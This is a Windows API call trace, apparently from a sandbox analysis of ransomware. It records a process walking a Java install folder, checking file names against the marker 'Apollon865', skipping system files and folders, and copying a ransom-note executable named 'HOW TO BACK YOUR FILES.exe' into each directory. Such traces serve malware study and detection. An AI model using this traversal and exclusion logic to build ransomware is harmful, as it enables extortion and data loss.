	[0055.424] lstrcmpiW (lpString1="jfxwebkit.dll", lpString2=".lnk") returned 1
	[0055.424] lstrlenW (lpString=".ini") returned 4
	[0055.424] lstrcmpiW (lpString1="jfxwebkit.dll", lpString2=".ini") returned 1
	[0055.424] lstrlenW (lpString=".sys") returned 4
	[0055.425] lstrcmpiW (lpString1="jfxwebkit.dll", lpString2=".sys") returned 1
	[0055.425] lstrlenW (lpString="jfxwebkit.dll") returned 13
	[0055.425] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jli.dll" | out: lpString1="jli.dll") returned="jli.dll"
	[0055.425] lstrlenW (lpString="jli.dll") returned 7
	[0055.425] lstrlenW (lpString="Apollon865") returned 10
	[0055.425] lstrlenW (lpString=".dll") returned 4
	[0055.425] lstrcmpiW (lpString1="jli.dll", lpString2=".dll") returned 1
	[0055.425] lstrlenW (lpString=".lnk") returned 4
	[0055.425] lstrcmpiW (lpString1="jli.dll", lpString2=".lnk") returned 1
	[0055.425] lstrlenW (lpString=".ini") returned 4
	[0055.425] lstrcmpiW (lpString1="jli.dll", lpString2=".ini") returned 1
	[0055.425] lstrlenW (lpString=".sys") returned 4
	[0055.425] lstrcmpiW (lpString1="jli.dll", lpString2=".sys") returned 1
	[0055.425] lstrlenW (lpString="jli.dll") returned 7
	[0055.425] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jp2iexp.dll" | out: lpString1="jp2iexp.dll") returned="jp2iexp.dll"
	[0055.425] lstrlenW (lpString="jp2iexp.dll") returned 11
	[0055.425] lstrlenW (lpString="Apollon865") returned 10
	[0055.425] lstrcmpiW (lpString1="p2iexp.dll", lpString2="Apollon865") returned 1
	[0055.425] lstrlenW (lpString=".dll") returned 4
	[0055.425] lstrcmpiW (lpString1="jp2iexp.dll", lpString2=".dll") returned 1
	[0055.425] lstrlenW (lpString=".lnk") returned 4
	[0055.425] lstrcmpiW (lpString1="jp2iexp.dll", lpString2=".lnk") returned 1
	[0055.425] lstrlenW (lpString=".ini") returned 4
	[0055.425] lstrcmpiW (lpString1="jp2iexp.dll", lpString2=".ini") returned 1
	[0055.425] lstrlenW (lpString=".sys") returned 4
	[0055.425] lstrcmpiW (lpString1="jp2iexp.dll", lpString2=".sys") returned 1
	[0055.425] lstrlenW (lpString="jp2iexp.dll") returned 11
	[0055.425] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jp2launcher.exe" | out: lpString1="jp2launcher.exe") returned="jp2launcher.exe"
	[0055.425] lstrlenW (lpString="jp2launcher.exe") returned 15
	[0055.425] lstrlenW (lpString="Apollon865") returned 10
	[0055.426] lstrcmpiW (lpString1="uncher.exe", lpString2="Apollon865") returned 1
	[0055.426] lstrlenW (lpString=".dll") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2launcher.exe", lpString2=".dll") returned 1
	[0055.426] lstrlenW (lpString=".lnk") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2launcher.exe", lpString2=".lnk") returned 1
	[0055.426] lstrlenW (lpString=".ini") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2launcher.exe", lpString2=".ini") returned 1
	[0055.426] lstrlenW (lpString=".sys") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2launcher.exe", lpString2=".sys") returned 1
	[0055.426] lstrlenW (lpString="jp2launcher.exe") returned 15
	[0055.426] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jp2native.dll" | out: lpString1="jp2native.dll") returned="jp2native.dll"
	[0055.426] lstrlenW (lpString="jp2native.dll") returned 13
	[0055.426] lstrlenW (lpString="Apollon865") returned 10
	[0055.426] lstrcmpiW (lpString1="native.dll", lpString2="Apollon865") returned 1
	[0055.426] lstrlenW (lpString=".dll") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2native.dll", lpString2=".dll") returned 1
	[0055.426] lstrlenW (lpString=".lnk") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2native.dll", lpString2=".lnk") returned 1
	[0055.426] lstrlenW (lpString=".ini") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2native.dll", lpString2=".ini") returned 1
	[0055.426] lstrlenW (lpString=".sys") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2native.dll", lpString2=".sys") returned 1
	[0055.426] lstrlenW (lpString="jp2native.dll") returned 13
	[0055.426] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jp2ssv.dll" | out: lpString1="jp2ssv.dll") returned="jp2ssv.dll"
	[0055.426] lstrlenW (lpString="jp2ssv.dll") returned 10
	[0055.426] lstrlenW (lpString="Apollon865") returned 10
	[0055.426] lstrlenW (lpString=".dll") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2ssv.dll", lpString2=".dll") returned 1
	[0055.426] lstrlenW (lpString=".lnk") returned 4
	[0055.426] lstrcmpiW (lpString1="jp2ssv.dll", lpString2=".lnk") returned 1
	[0055.426] lstrlenW (lpString=".ini") returned 4
	[0055.427] lstrcmpiW (lpString1="jp2ssv.dll", lpString2=".ini") returned 1
	[0055.427] lstrlenW (lpString=".sys") returned 4
	[0055.427] lstrcmpiW (lpString1="jp2ssv.dll", lpString2=".sys") returned 1
	[0055.427] lstrlenW (lpString="jp2ssv.dll") returned 10
	[0055.427] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jpeg.dll" | out: lpString1="jpeg.dll") returned="jpeg.dll"
	[0055.427] lstrlenW (lpString="jpeg.dll") returned 8
	[0055.427] lstrlenW (lpString="Apollon865") returned 10
	[0055.427] lstrlenW (lpString=".dll") returned 4
	[0055.427] lstrcmpiW (lpString1="jpeg.dll", lpString2=".dll") returned 1
	[0055.427] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jpicom.dll" | out: lpString1="jpicom.dll") returned="jpicom.dll"
	[0055.427] lstrlenW (lpString="jpicom.dll") returned 10
	[0055.427] lstrlenW (lpString="Apollon865") returned 10
	[0055.427] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jpiexp.dll" | out: lpString1="jpiexp.dll") returned="jpiexp.dll"
	[0055.427] lstrlenW (lpString="jpiexp.dll") returned 10
	[0055.427] lstrlenW (lpString="Apollon865") returned 10
	[0055.427] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jpinscp.dll" | out: lpString1="jpinscp.dll") returned="jpinscp.dll"
	[0055.427] lstrlenW (lpString="jpinscp.dll") returned 11
	[0055.427] lstrlenW (lpString="Apollon865") returned 10
	[0055.427] lstrcmpiW (lpString1="pinscp.dll", lpString2="Apollon865") returned 1
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jpioji.dll" | out: lpString1="jpioji.dll") returned="jpioji.dll"
	[0055.428] lstrlenW (lpString="jpioji.dll") returned 10
	[0055.428] lstrlenW (lpString="Apollon865") returned 10
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jpishare.dll" | out: lpString1="jpishare.dll") returned="jpishare.dll"
	[0055.428] lstrlenW (lpString="jpishare.dll") returned 12
	[0055.428] lstrlenW (lpString="Apollon865") returned 10
	[0055.428] lstrcmpiW (lpString1="ishare.dll", lpString2="Apollon865") returned 1
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jqs.exe" | out: lpString1="jqs.exe") returned="jqs.exe"
	[0055.428] lstrlenW (lpString="jqs.exe") returned 7
	[0055.428] lstrlenW (lpString="Apollon865") returned 10
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jsdt.dll" | out: lpString1="jsdt.dll") returned="jsdt.dll"
	[0055.428] lstrlenW (lpString="jsdt.dll") returned 8
	[0055.428] lstrlenW (lpString="Apollon865") returned 10
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jsound.dll" | out: lpString1="jsound.dll") returned="jsound.dll"
	[0055.428] lstrlenW (lpString="jsound.dll") returned 10
	[0055.428] lstrlenW (lpString="Apollon865") returned 10
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jsoundds.dll" | out: lpString1="jsoundds.dll") returned="jsoundds.dll"
	[0055.428] lstrlenW (lpString="jsoundds.dll") returned 12
	[0055.428] lstrlenW (lpString="Apollon865") returned 10
	[0055.428] lstrcmpiW (lpString1="oundds.dll", lpString2="Apollon865") returned 1
	[0055.428] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="kcms.dll" | out: lpString1="kcms.dll") returned="kcms.dll"
	[0055.428] lstrlenW (lpString="kcms.dll") returned 8
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="keytool.exe" | out: lpString1="keytool.exe") returned="keytool.exe"
	[0055.429] lstrlenW (lpString="keytool.exe") returned 11
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcmpiW (lpString1="eytool.exe", lpString2="Apollon865") returned 1
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="kinit.exe" | out: lpString1="kinit.exe") returned="kinit.exe"
	[0055.429] lstrlenW (lpString="kinit.exe") returned 9
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="klist.exe" | out: lpString1="klist.exe") returned="klist.exe"
	[0055.429] lstrlenW (lpString="klist.exe") returned 9
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="ktab.exe" | out: lpString1="ktab.exe") returned="ktab.exe"
	[0055.429] lstrlenW (lpString="ktab.exe") returned 8
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="libxml2.dll" | out: lpString1="libxml2.dll") returned="libxml2.dll"
	[0055.429] lstrlenW (lpString="libxml2.dll") returned 11
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcmpiW (lpString1="ibxml2.dll", lpString2="Apollon865") returned 1
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="libxslt.dll" | out: lpString1="libxslt.dll") returned="libxslt.dll"
	[0055.429] lstrlenW (lpString="libxslt.dll") returned 11
	[0055.429] lstrlenW (lpString="Apollon865") returned 10
	[0055.429] lstrcmpiW (lpString1="ibxslt.dll", lpString2="Apollon865") returned 1
	[0055.429] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="management.dll" | out: lpString1="management.dll") returned="management.dll"
	[0055.430] lstrlenW (lpString="management.dll") returned 14
	[0055.430] lstrlenW (lpString="Apollon865") returned 10
	[0055.430] lstrcmpiW (lpString1="gement.dll", lpString2="Apollon865") returned 1
	[0055.430] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="mlib_image.dll" | out: lpString1="mlib_image.dll") returned="mlib_image.dll"
	[0055.430] lstrlenW (lpString="mlib_image.dll") returned 14
	[0055.430] lstrlenW (lpString="Apollon865") returned 10
	[0055.430] lstrcmpiW (lpString1="_image.dll", lpString2="Apollon865") returned -1
	[0055.430] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="msvcr100.dll" | out: lpString1="msvcr100.dll") returned="msvcr100.dll"
	[0055.430] lstrlenW (lpString="msvcr100.dll") returned 12
	[0055.430] lstrlenW (lpString="Apollon865") returned 10
	[0055.430] lstrcmpiW (lpString1="vcr100.dll", lpString2="Apollon865") returned 1
	[0055.430] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="net.dll" | out: lpString1="net.dll") returned="net.dll"
	[0055.430] lstrlenW (lpString="net.dll") returned 7
	[0055.430] lstrlenW (lpString="Apollon865") returned 10
	[0055.431] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="nio.dll" | out: lpString1="nio.dll") returned="nio.dll"
	[0055.431] lstrlenW (lpString="nio.dll") returned 7
	[0055.431] lstrlenW (lpString="Apollon865") returned 10
	[0055.432] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="npjpi170_45.dll" | out: lpString1="npjpi170_45.dll") returned="npjpi170_45.dll"
	[0055.432] lstrlenW (lpString="npjpi170_45.dll") returned 15
	[0055.432] lstrlenW (lpString="Apollon865") returned 10
	[0055.432] lstrcmpiW (lpString1="170_45.dll", lpString2="Apollon865") returned -1
	[0055.432] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="npoji610.dll" | out: lpString1="npoji610.dll") returned="npoji610.dll"
	[0055.432] lstrlenW (lpString="npoji610.dll") returned 12
	[0055.432] lstrlenW (lpString="Apollon865") returned 10
	[0055.432] lstrcmpiW (lpString1="oji610.dll", lpString2="Apollon865") returned 1
	[0055.432] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="npt.dll" | out: lpString1="npt.dll") returned="npt.dll"
	[0055.432] lstrlenW (lpString="npt.dll") returned 7
	[0055.432] lstrlenW (lpString="Apollon865") returned 10
	[0055.432] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="orbd.exe" | out: lpString1="orbd.exe") returned="orbd.exe"
	[0055.432] lstrlenW (lpString="orbd.exe") returned 8
	[0055.432] lstrlenW (lpString="Apollon865") returned 10
	[0055.432] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="pack200.exe" | out: lpString1="pack200.exe") returned="pack200.exe"
	[0055.432] lstrlenW (lpString="pack200.exe") returned 11
	[0055.432] lstrlenW (lpString="Apollon865") returned 10
	[0055.432] lstrcmpiW (lpString1="ack200.exe", lpString2="Apollon865") returned -1
	[0055.432] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="plugin2" | out: lpString1="plugin2") returned="plugin2"
	[0055.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0055.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0055.432] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0055.432] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0055.432] lstrcmpiW (lpString1="policytool.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.432] lstrcmpiW (lpString1="policytool.exe", lpString2="Apollon865.txt.exe") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2=".") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="..") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="windows") returned -1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="bootmgr") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="temp") returned -1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="pagefile.sys") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="boot") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="ids.txt") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="ntuser.dat") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="perflogs") returned 1
	[0055.433] lstrcmpiW (lpString1="policytool.exe", lpString2="MSBuild") returned 1
	[0055.433] lstrlenW (lpString="policytool.exe") returned 14
	[0055.433] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned 44
	[0055.433] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="policytool.exe" | out: lpString1="policytool.exe") returned="policytool.exe"
	[0055.433] lstrlenW (lpString="policytool.exe") returned 14
	[0055.433] lstrlenW (lpString="Apollon865") returned 10
	[0055.433] lstrcmpiW (lpString1="cytool.exe", lpString2="Apollon865") returned 1
	[0055.433] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="prism-d3d.dll" | out: lpString1="prism-d3d.dll") returned="prism-d3d.dll"
	[0055.433] lstrlenW (lpString="prism-d3d.dll") returned 13
	[0055.433] lstrlenW (lpString="Apollon865") returned 10
	[0055.433] lstrcmpiW (lpString1="sm-d3d.dll", lpString2="Apollon865") returned 1
	[0055.433] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="rmid.exe" | out: lpString1="rmid.exe") returned="rmid.exe"
	[0055.433] lstrlenW (lpString="rmid.exe") returned 8
	[0055.433] lstrlenW (lpString="Apollon865") returned 10
	[0055.433] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="rmiregistry.exe" | out: lpString1="rmiregistry.exe") returned="rmiregistry.exe"
	[0055.433] lstrlenW (lpString="rmiregistry.exe") returned 15
	[0055.433] lstrlenW (lpString="Apollon865") returned 10
	[0055.433] lstrcmpiW (lpString1="gistry.exe", lpString2="Apollon865") returned 1
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="servertool.exe" | out: lpString1="servertool.exe") returned="servertool.exe"
	[0055.434] lstrlenW (lpString="servertool.exe") returned 14
	[0055.434] lstrlenW (lpString="Apollon865") returned 10
	[0055.434] lstrcmpiW (lpString1="ertool.exe", lpString2="Apollon865") returned 1
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="splashscreen.dll" | out: lpString1="splashscreen.dll") returned="splashscreen.dll"
	[0055.434] lstrlenW (lpString="splashscreen.dll") returned 16
	[0055.434] lstrlenW (lpString="Apollon865") returned 10
	[0055.434] lstrcmpiW (lpString1="screen.dll", lpString2="Apollon865") returned 1
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="ssv.dll" | out: lpString1="ssv.dll") returned="ssv.dll"
	[0055.434] lstrlenW (lpString="ssv.dll") returned 7
	[0055.434] lstrlenW (lpString="Apollon865") returned 10
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="ssvagent.exe" | out: lpString1="ssvagent.exe") returned="ssvagent.exe"
	[0055.434] lstrlenW (lpString="ssvagent.exe") returned 12
	[0055.434] lstrlenW (lpString="Apollon865") returned 10
	[0055.434] lstrcmpiW (lpString1="vagent.exe", lpString2="Apollon865") returned 1
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="sunec.dll" | out: lpString1="sunec.dll") returned="sunec.dll"
	[0055.434] lstrlenW (lpString="sunec.dll") returned 9
	[0055.434] lstrlenW (lpString="Apollon865") returned 10
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="sunmscapi.dll" | out: lpString1="sunmscapi.dll") returned="sunmscapi.dll"
	[0055.434] lstrlenW (lpString="sunmscapi.dll") returned 13
	[0055.434] lstrlenW (lpString="Apollon865") returned 10
	[0055.434] lstrcmpiW (lpString1="mscapi.dll", lpString2="Apollon865") returned 1
	[0055.434] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="t2k.dll" | out: lpString1="t2k.dll") returned="t2k.dll"
	[0055.435] lstrlenW (lpString="t2k.dll") returned 7
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="tnameserv.exe" | out: lpString1="tnameserv.exe") returned="tnameserv.exe"
	[0055.435] lstrlenW (lpString="tnameserv.exe") returned 13
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcmpiW (lpString1="meserv.exe", lpString2="Apollon865") returned 1
	[0055.435] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="unpack.dll" | out: lpString1="unpack.dll") returned="unpack.dll"
	[0055.435] lstrlenW (lpString="unpack.dll") returned 10
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="unpack200.exe" | out: lpString1="unpack200.exe") returned="unpack200.exe"
	[0055.435] lstrlenW (lpString="unpack200.exe") returned 13
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcmpiW (lpString1="ack200.exe", lpString2="Apollon865") returned -1
	[0055.435] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="verify.dll" | out: lpString1="verify.dll") returned="verify.dll"
	[0055.435] lstrlenW (lpString="verify.dll") returned 10
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="w2k_lsa_auth.dll" | out: lpString1="w2k_lsa_auth.dll") returned="w2k_lsa_auth.dll"
	[0055.435] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcmpiW (lpString1="a_auth.dll", lpString2="Apollon865") returned -1
	[0055.435] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="WindowsAccessBridge-32.dll" | out: lpString1="WindowsAccessBridge-32.dll") returned="WindowsAccessBridge-32.dll"
	[0055.435] lstrlenW (lpString="WindowsAccessBridge-32.dll") returned 26
	[0055.435] lstrlenW (lpString="Apollon865") returned 10
	[0055.435] lstrcmpiW (lpString1="dge-32.dll", lpString2="Apollon865") returned 1
	[0055.436] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="wsdetect.dll" | out: lpString1="wsdetect.dll") returned="wsdetect.dll"
	[0055.436] lstrlenW (lpString="wsdetect.dll") returned 12
	[0055.436] lstrlenW (lpString="Apollon865") returned 10
	[0055.436] lstrcmpiW (lpString1="detect.dll", lpString2="Apollon865") returned 1
	[0055.436] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="zip.dll" | out: lpString1="zip.dll") returned="zip.dll"
	[0055.436] lstrlenW (lpString="zip.dll") returned 7
	[0055.436] lstrlenW (lpString="Apollon865") returned 10
	[0055.436] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2"
	[0055.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0055.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0055.436] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned 44
	[0055.436] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2"
	[0055.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.445] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.445] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x391d6950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x391d6950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.445] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.445] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.445] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.445] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x391d6950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x391d6950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.445] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.445] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.445] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.445] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.446] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d6950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x391d6950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.446] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.446] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="..") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="windows") returned -1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="bootmgr") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="temp") returned -1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="pagefile.sys") returned -1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="boot") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="ids.txt") returned 1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="ntuser.dat") returned -1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="perflogs") returned -1
	[0055.446] lstrcmpiW (lpString1="msvcr100.dll", lpString2="MSBuild") returned 1
	[0055.446] lstrlenW (lpString="msvcr100.dll") returned 12
	[0055.446] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*") returned 46
	[0055.446] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="msvcr100.dll" | out: lpString1="msvcr100.dll") returned="msvcr100.dll"
	[0055.446] lstrlenW (lpString="msvcr100.dll") returned 12
	[0055.446] lstrlenW (lpString="Apollon865") returned 10
	[0055.446] lstrcmpiW (lpString1="vcr100.dll", lpString2="Apollon865") returned 1
	[0055.446] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="npjp2.dll" | out: lpString1="npjp2.dll") returned="npjp2.dll"
	[0055.446] lstrlenW (lpString="npjp2.dll") returned 9
	[0055.446] lstrlenW (lpString="Apollon865") returned 10
	[0055.446] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin"
	[0055.446] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0055.446] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.447] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned 45
